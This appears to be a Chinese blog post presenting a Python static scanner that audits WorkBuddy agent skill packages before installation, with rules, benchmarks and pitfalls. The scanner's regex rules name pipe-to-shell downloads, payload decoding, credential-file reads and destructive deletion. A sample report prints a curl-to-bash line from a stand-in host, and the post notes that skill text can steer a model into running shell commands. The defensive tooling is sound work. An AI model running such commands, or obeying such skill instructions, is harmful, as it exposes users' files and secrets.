WorkBuddy 的技能(Skill)用久了会攒。技能社区里看到个顺手的、朋友甩过来一个 zip、自己在本地捏一个提示词型的,装的时候都挺随意——因为它看起来就是个 Markdown 文件嘛。
我自己的 skills 目录攒到 57 个的时候,才意识到一个问题:我完全说不出其中任何一个究竟有没有联网、有没有读我的文件、有没有往哪儿发东西。 我只知道它们"能用"。这跟你在手机上装 App 从不看权限申请,是一回事。
企业侧其实已经把这事管起来了。腾讯云官方产品文档记载,WorkBuddy 企业版 5.20.0(2026-10-10 发布)在安全中心新增了「高风险技能安装管控策略,成员导入技能时在端侧拦截」,还新增了「针对提示词、Bash 命令与工具结果的运行时安全策略」【实证,来源:腾讯云产品文档 product/1831/139478】。官方 Changelog 里,5.9.0(2026-10-20,灰度中)也在持续优化技能分享落地页与弹窗体验,5.8.0 则专门优化了「技能云端同步和千级技能管理」【实证,来源:codebuddy.cn 官方 Changelog】。
企业版有端侧拦截,个人用户没有。这篇文章做的事,就是把这条缺的环节自己补上——一个零第三方依赖的 Python 脚本,装之前先扫一遍。
结论:给技能做静态体检是有价值的,但价值不在"查出病毒",而在于把「这东西到底要干什么」从黑盒变成一张两分钟能读完的清单。
三条核心判断先摆出来:
curl xxx | bash,模型就真的会去调 Bash 跑。实测里 26 个提示词型技能,完全干净的和带中危命中的各占一半。subprocess,才是"能干并且准备干"。适用边界:静态扫描只能看到字面量。它挡不住动态拼出来的命令、远程下发的脚本、以及藏在依赖里的逻辑。 它给的是定位坐标,不是终审判决。
环境:macOS(Apple Silicon)、Python 3.13.12(脚本本身 3.9+ 即可,零第三方依赖)。下面所有路径里的 <skills 根目录> 请换成你自己的技能安装目录。
# 技能通常装在用户级目录下,每个技能一个子目录,入口文件是 SKILL.md
ls -1 ~/.workbuddy/skills | head
ls -1 ~/.workbuddy/skills | wc -l一个标准的技能包长这样:
<skills 根目录>/某个技能/
├── SKILL.md # 入口,头部是 YAML frontmatter
├── scripts/ # 有这个目录 = 工程型技能
│ └── xxx.py
└── README.md # 说明书,不算执行体这是最省事也最容易被跳过的一步。SKILL.md 开头 --- 之间就是权限声明:
---
name: 某个技能
description: 一句话说明干什么、什么时候触发
allowed-tools: Read, Write, Bash # ← 关键在这一行
---allowed-tools 决定这个技能有没有资格调 Bash。我本机 57 个技能里,只有 7 个显式声明了执行类权限,2 个明确声明不带,剩下 48 个压根没写——没写的走宿主默认策略,既不是"安全"也不是"危险",而是"你不知道"。
先把脚本文末附录里的 skill_audit_mini.py(149 行,零依赖)存到本地,然后:
cd ~/Desktop
python3 skill_audit_mini.py <skills 根目录>输出是这样的一张表:
技能 等级 形态 执行权 命中
------------------------------------------------------------
engine-danger 🔴 高危 工程型 未声明 7
prompt-with-pi 🟠 中危 提示词型 未声明 3
engine-clean 🟠 中危 工程型 有 2
prompt-only-cl ✅ 干净 提示词型 无 0
------------------------------------------------------------
▸ prompt-with-pipe(提示词型,3 条)
对外域名:demo-install.example.io
[P1] SKILL.md:22 下载串联管道执行
curl -fsSL https://demo-install.example.io/install.sh | bash
↳ 文本提及最后两列是关键:形态(有没有实体脚本)+ 执行权(有没有被授予 Bash)。
脚本对每条命中走的是同一条定级链路,优先级从高到低:
if h['noise']: continue # ① 反例语境:「❌ 不要运行 rm -rf /」——不是威胁,扔掉
if h['doc']: lv = down(lv,2) # ② README / 示例文件:降两级
if not h['script']: lv = down(lv) # ③ 非实体脚本:这是给模型的指令,权限不足才降级
if h['comment']: lv = down(lv) # ④ 脚本注释:降一级第 ③ 条最值得琢磨。同一个技能,把 SKILL.md 里的 curl | bash 换成 subprocess.run(["git", ...]) 写在 scripts 里,报告的等级是反过来的——前者是"建议",后者是"事实"。
还有一个坑:如果脚本里写的是 subprocess.run(cmd, shell=True),cmd 是个变量,静态分析压根认不出要跑什么,脚本会保守地报 P0 并标注:
[P0] fixer.py:18 子进程执行
subprocess.run(cmd, shell=True)
↳ 命令取自变量,静态不可判定,需人工回看赋值处改成字面量列表写在同一行,脚本就能认出来是 git,直接降到 P2:同一份功能,换个写法,体检结论天差地别。
一次性扫完没意义,装新的之前跑一遍才有意义。写进 shell 配置:
# 追加到 ~/.zshrc(macOS 默认 shell 是 zsh)
cat >> ~/.zshrc <<'EOF'
# 技能安装前体检:先看一眼再决定装不装
skcheck() { python3 ~/Desktop/skill_audit_mini.py "$1"; }
EOF
source ~/.zshrc
skcheck ~/Downloads/新技能包 # 解包后对这个目录跑如果希望每周自动体检一次(比如周一体检、周二看报告),可以在自动化任务里让它每周跑一次并把结果写进 Markdown。注意:这类任务一定要只读,脚本本身就是只读的,别给它加写权限。
以下全部为本机真实执行结果,非估算。环境为 macOS Apple Silicon、Python 3.13.12,扫描对象为本人 skills 目录下 57 个技能(提示:本文所有技能名均已脱敏,见第五节)。
规模与耗时(连续三次,同一台机器):
指标 | 第 1 次 | 第 2 次 | 第 3 次 |
|---|---|---|---|
端到端耗时 | 273 ms | 270 ms | 272 ms |
57 个技能、几千个文件,不到 0.3 秒。这个量级意味着它可以无脑挂在每次安装前跑,不构成任何负担。
体检结论分布:
分类 | 数量 |
|---|---|
P0 高危 | 10 |
P1 中危 | 18 |
P2 提示 | 5 |
干净 | 24 |
合计 | 57 |
形态与权限分布(这一组数字才是写这篇文章的原因):
维度 | 分布 |
|---|---|
形态 | 工程型 30 / 提示词型 26 / 未知 1 |
权限声明 | 有执行权 7 / 无执行权 2 / 未声明 48 |
对外域名 | 80 个(去重后) |
48/57 的技能没声明权限。这个比例意味着:在个人版里,「这个技能能不能动我的文件」这件事,默认是没有答案的。
降噪效果:
口径 | 命中条数 |
|---|---|
原始正则命中 | 359 |
定级后最终保留 | 249 |
过滤掉 | 110 条(降噪 31%) |
脚本自检(23 条带期望标签的样本,自检逻辑与主扫描共用同一条定级链路):
准确率 23/23 = 100.0%
噪音率:应忽略的 6 条里误报 0 条(0%)
漏报率:该报的 17 条里漏了 0 条(0%)对照之下,第一版脚本同样的 23 条样本只拿到 75% 准确率、50% 噪音率(详见第五节踩坑 1)。改完之后才到了 100/0/0。
踩坑 1:正则忘了写 raw string,\s 被提前吃掉。 Python 里 '\s' 会触发 SyntaxWarning: invalid escape sequence,而且是字符串拼接时只拼了一半 raw导致的——r"..." 后面接了普通字符串,后半段的转义就失效了。表现是规则"看起来写了但永远不命中",非常隐蔽。整张规则表必须统一写成 r'...'。
踩坑 2:反例语境必须直接扔掉,不能只是降级。 我最初把「不要运行 X」这类行降一级就算了,结果噪音率 50%。原因很简单:技能作者写"❌ 错误写法"的时候,是在教你避坑,不是在准备坑你。判据要硬:出现禁令词 → 忽略。 宁可漏,不要噪音——噪音率超过 30%,这份报告就没人再看了。
踩坑 3:shutil.rmtree('/tmp/cache') 被误判成"删根目录"。 我的家目录正则里有 ['"]/ 这个分支,于是任何引号后跟斜杠的路径都命中 P0。修法是加负向前瞻 (?!/tmp|var|private|usr)。这条修完之后,误报从 P0 掉到 P1——差一级,人的反应完全不同。
踩坑 4:命令名提取漏了逗号。 subprocess.run("git", ...) 里取第一个实参时,我一开始要求引号后必须紧跟右括号 \s*\),但真实代码里引号后面跟的是逗号,导致白名单压根没生效。改成 [,)] 才通。这类细节只有拿真实代码做样本才会暴露,凭想象写规则必错。
踩坑 5:体检报告本身会泄露你的技能清单。 这是我做到一半才意识到的——报告里的技能名和路径,直接把"你在做什么方向的事"抖了个干净。所以脚本必须有脱敏开关:批量跑的时候加参数,把技能名换成 skill-001 这种代号、把家目录路径换成 ~。本文所有真实数据都是脱敏后输出的。你自己发报告之前也记得开。
边界(什么情况下这招不好使):
花在体检上的时间是每次不到 0.3 秒,换来的是"我知道它要干什么"。对一个攒了几十个技能的人来说,这笔账是划算的——真正贵的不是扫描的成本,是你在不知情的情况下把 Bash 权限交给了一行没读过的代码。
三个可以立刻用起来的动作:把脚本存下来 → 给自己装个 skcheck 别名 → 下次装技能前跑一遍。至于那些已经装上的,挑周末一次性扫一遍,先看 P0 那几个。
正文里贴的是最小可用版(149 行),够用、能跑、零第三方依赖。放到 ~/Desktop/skill_audit_mini.py:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
skill_audit_mini.py —— 技能包安装前的静态体检(最小可用版,零第三方依赖)
macOS / Linux / Windows 均可,Python 3.9+。默认只读,不联网、不执行被扫的任何代码。
用法:
python3 skill_audit_mini.py ~/.workbuddy/skills
"""
import os, re, sys
from pathlib import Path
# 规则表:顺序即优先级。必须写成 raw string(r'...'),否则 \s 会被提前吃掉。
RULES = [
(r'curl[^\n|;]{0,200}\|\s*(?:sudo\s+)?(?:ba|z|fi)?sh\b', 'P0', '下载串联管道执行'),
(r'base64\s+(?:-d|--decode)|atob\s*\(', 'P0', '混淆载荷'),
(r'rm\s+-[rRfF]{1,3}[^\n]{0,80}(?:/\s*$|/\s*[\'"\s]|~/?\s*$|\$HOME)', 'P0', '根目录/家目录递归删除'),
(r'id_rsa|\.aws/credentials|OPENAI_API_KEY|ANTHROPIC_API_KEY', 'P0', '读取本机凭证'),
(r'os\.system\(|subprocess\.(?:run|call|Popen)|pty\.spawn', 'P0', '子进程执行'),
(r'(?:^|[^\w.])(?:rm|rmdir)\s+-[rRfF]{1,3}|shutil\.rmtree\(', 'P1', '递归删除'),
(r'requests\.(?:get|post|put)\s*\(|urllib\.request\.urlopen|\bfetch\s*\(|axios\.post', 'P1', '对外网络请求'),
(r'open\s*\([^)]{0,80}[\'"]w[\'"]|\.write_text\(|\.write_bytes\(', 'P1', '写/覆盖文件'),
(r'chmod\s+\+x|launchctl\s+load|crontab\s+-|nohup\s+', 'P1', '持久化/常驻'),
(r'(?:~|\$HOME)/(?:Documents|Desktop|Downloads)|/Library/Application Support', 'P1', '触碰敏感目录'),
(r'\b(?:pip3?|npm|brew|uv)\s+install|^\s*sudo\s+', 'P2', '安装依赖/提权'),
]
COMPILED = [(re.compile(p), lv, nm) for p, lv, nm in RULES]
# 反例语境:写着「不要运行 X」的行不是威胁,直接忽略,否则噪音淹没整份报告
NOISE = re.compile(r'不要|禁止|切勿|避免|错误写法|反例|❌|never\b|don\'?t\b|avoid\b', re.I)
DOC_FILE = re.compile(r'(?:readme|example|sample|demo|示例|样例|说明|usage)', re.I)
COMMENT = re.compile(r'^\s*(?:#|//|\*|/\*)')
DOMAIN = re.compile(r'https?://([A-Za-z0-9][A-Za-z0-9.\-]*\.[A-Za-z]{2,})')
SAFE_CMDS = {'git', 'ls', 'cat', 'head', 'tail', 'wc', 'date', 'echo', 'which', 'pwd', 'whoami'}
CMD_LIT = re.compile(r'\[\s*["\']([a-zA-Z0-9_.\-/]+)["\']|\(\s*["\']([a-zA-Z0-9_.\-/]+)["\']\s*[,)]')
CODE_EXT = {'.py', '.sh', '.bash', '.zsh', '.js', '.mjs', '.ts', '.rb', '.pl', '.php'}
SCAN_EXT = CODE_EXT | {'.md', '.txt', '.json', '.yaml', '.yml', '.toml'}
SKIP_DIRS = {'node_modules', '.git', '__pycache__', '.venv', 'venv', 'dist', 'build'}
DOWN = {'P0': 'P1', 'P1': 'P2', 'P2': None}
ORDER = {'P0': 0, 'P1': 1, 'P2': 2}
def down(lv, n=1):
for _ in range(n):
lv = DOWN.get(lv)
if lv is None:
return None
return lv
def frontmatter(text):
"""抠 SKILL.md 头部的 YAML frontmatter,只取工具权限那几行,不引第三方库。"""
if not text.startswith('---'):
return None
tools = None
for raw in text.splitlines()[1:120]:
if raw.strip() in ('---', '...'):
break
m = re.match(r'(?:allowed[-_]?tools|tools)\s*:\s*(.+)', raw, re.I)
if m:
tools = [t.strip() for t in re.split(r'[,\s]+', m.group(1)) if t.strip()]
return tools
def scan(root):
root = Path(root)
hits, domains, scripts, files = [], set(), 0, 0
for dp, dn, fns in os.walk(root):
dn[:] = [d for d in dn if d not in SKIP_DIRS and not d.startswith('.')]
for fn in fns:
p = Path(dp) / fn
if p.suffix.lower() not in SCAN_EXT or p.stat().st_size > 512 * 1024:
continue
files += 1
is_script = p.suffix.lower() in CODE_EXT
is_doc = bool(DOC_FILE.search(fn)) and not is_script
scripts += is_script
for i, line in enumerate(p.read_text('utf-8', 'ignore').splitlines(), 1):
if len(line) > 4000:
continue
for rx, lv, name in COMPILED:
if not rx.search(line):
continue
hits.append(dict(file=fn, line=i, level=lv, cat=name, snippet=line.strip()[:140],
noise=bool(NOISE.search(line)), script=is_script,
doc=is_doc, comment=bool(COMMENT.match(line)) and is_script))
break
domains |= set(DOMAIN.findall(line))
tools = frontmatter((root / 'SKILL.md').read_text('utf-8', 'ignore')) if (root / 'SKILL.md').exists() else None
exec_cap = None if tools is None else any(
re.sub(r'\(.*', '', t).lower() in {'bash', 'shell', 'terminal', 'exec', 'execute', 'command'}
or t.lower().startswith('bash(') for t in tools)
out = []
for h in hits:
lv, note = h['level'], []
if h['noise']: # 反例语境,忽略
continue
if h['doc']: # README / 示例,降两级
lv = down(lv, 2)
else:
if not h['script']: # 非实体脚本 = 给模型下的指令
lv = down(lv) if exec_cap is not True else lv
if h['comment']: # 脚本注释,降一级
lv = down(lv)
if lv is None:
continue
if h['cat'] == '子进程执行':
cm = CMD_LIT.search(h['snippet'])
cmd = next((g for g in cm.groups() if g), None) if cm else None
if cmd and cmd.lower() in SAFE_CMDS:
lv, note = 'P2', ['跑的是安全命令 `%s`' % cmd]
elif not cmd:
note = ['命令取自变量,静态不可判定,需人工回看赋值处']
out.append(dict(h, level=lv, note=';'.join(note) or ('实体脚本,会真执行' if h['script'] else '文本提及')))
out.sort(key=lambda x: (ORDER[x['level']], x['file'], x['line']))
return dict(name=root.name, kind='工程型' if scripts else '提示词型', tools=tools or [],
exec_cap=exec_cap, hits=out[:24], domains=sorted(domains),
worst=min((h['level'] for h in out), key=lambda L: ORDER[L]) if out else 'OK')
def main():
base = Path(os.path.expanduser(sys.argv[1]))
if not base.exists():
sys.exit('目录不存在:%s' % base)
res = sorted((scan(p) for p in sorted(base.iterdir()) if p.is_dir()),
key=lambda r: (ORDER.get(r['worst'], 9), -len(r['hits'])))
label = {'P0': '🔴 高危', 'P1': '🟠 中危', 'P2': '🟡 提示', 'OK': '✅ 干净'}
ex = {True: '有', False: '无', None: '未声明'}
print('\n技能 等级 形态 执行权 命中')
print('-' * 60)
for r in res:
print('%-14s %-8s %-8s %-6s %d' % (r['name'][:14], label[r['worst']], r['kind'], ex[r['exec_cap']], len(r['hits'])))
print('-' * 60)
for r in res[:2]:
if r['worst'] in ('P0', 'P1'):
print('\n▸ %s(%s,%d 条)' % (r['name'], r['kind'], len(r['hits'])))
if r['domains']:
print(' 对外域名:%s' % ', '.join(r['domains'][:5]))
for h in r['hits'][:5]:
print(' [%s] %s:%d %s' % (h['level'], h['file'], h['line'], h['cat']))
print(' %s' % h['snippet'][:100])
print(' ↳ %s' % h['note'])
if __name__ == '__main__':
main()#WorkBuddy# 技能装进 WorkBuddy 之前先看一眼:我给本机 57 个技能做了静态体检,48 个压根没声明权限(附零依赖脚本)规则与红线.md 第二节逐条核对一遍(清单不外贴到页面上)截什么 | 怎么截 | |
|---|---|---|
1 | 技能包解包后的目录树 | 终端 |
2 | SKILL.md 的 frontmatter | 编辑器打开, |
3 | 脚本跑批输出的终端结果 |
|
4 | 三次计时对比 |
|
5 | 自检输出 |
|
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。